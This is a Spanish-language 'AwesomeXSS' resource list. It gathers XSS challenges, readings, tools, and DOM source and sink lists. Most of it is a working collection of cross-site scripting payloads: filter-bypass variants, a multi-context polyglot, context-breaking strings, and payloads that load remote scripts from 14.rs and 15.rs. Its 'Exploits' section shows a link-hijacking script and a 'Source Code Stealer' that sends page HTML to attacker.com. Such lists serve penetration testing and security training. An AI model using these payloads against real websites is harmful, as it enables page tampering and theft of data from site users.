AwesomeXSS

Este repositorio es una colección de recursos Awesome XSS. Las contribuciones son bienvenidas y deben enviarse mediante un issue.

Awesome contents

• Desafíos
• Lecturas y Presentaciones
• Herramientas
• Mapas mentales
• DOM XSS
• Payloads
• Poliglotas
• Etiquetas y manejadores de eventos
• Ruptura de contexto
  • Contexto HTML
  • Contexto de atributo
  • Contexto JavaScript
• Variantes de Confirm
• Exploits
• Sondeo
• Bypass
• Codificación
• Consejos y trucos

Awesome Challenges

• prompt.ml
• alf.nu/alert1
• xss-game.appspot.com
• polyglot.innerht.ml
• sudo.co.il/xss
• root-me.org
• chefsecure.com
• wechall.net
• codelatte.id/labs/xss

Awesome Reads & Presentations

• Bypassing XSS Detection Mechanisms
• XSS in Facebook via PNG Content Type
• Cómo conocí a tu novia
• Cómo encontrar 1,352 vulnerabilidades XSS en plugins de Wordpress en una hora
• Blind XSS
• Copy Pest

Awesome Tools

• XSStrike
• BeEF
• JShell

Awesome XSS Mind Maps

Un hermoso mapa mental de XSS por Jack Masa, aquí

Awesome DOM XSS

• ¿Tu entrada va a un sink? Vulnerable
• ¿No lo hace? No vulnerable

Source: Una entrada que podría ser controlada por una fuente externa (no confiable).

document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage

Sink: Un método potencialmente peligroso que podría llevar a una vulnerabilidad. En este caso, un XSS basado en DOM.

eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location

Esta lista completa de sinks y sources está tomada de domxsswiki.

Awesome Payloads

<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="https://github.com/s0md3v/awesomexss/blob/master/javascript%26colon%3Balert%281%29">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>

Awesome Polyglots

Aquí hay un polyglot XSS que hice que puede salir de 20+ contextos:

%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

Explicación de cómo funciona, aquí

Awesome Tags & Event Handlers

• 105 Manejadores de eventos con descripción
• 200 Manejadores de eventos sin descripción

Algunos manejadores de eventos menos detectados

ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

Algunas etiquetas HTML que usarás

img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video

Awesome Context Breaking

HTML Context

Caso: <tag>You searched for $input. </tag>

<svg onload=alert()>
</tag><svg onload=alert()>

Attribute Context

Caso: <tag attribute="$input">

"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()

JavaScript Context

Caso: <script> var new something = '$input'; </script>

'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>

Awesome Confirm Variants

Sí, confirm porque alert es demasiado mainstream.

confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)

Awesome Exploits

Replace all links

Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://attacker.com";
});

Source Code Stealer

<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">

Awesome Probing

Si nada de esto funciona, echa un vistazo a la sección Awesome Bypassing.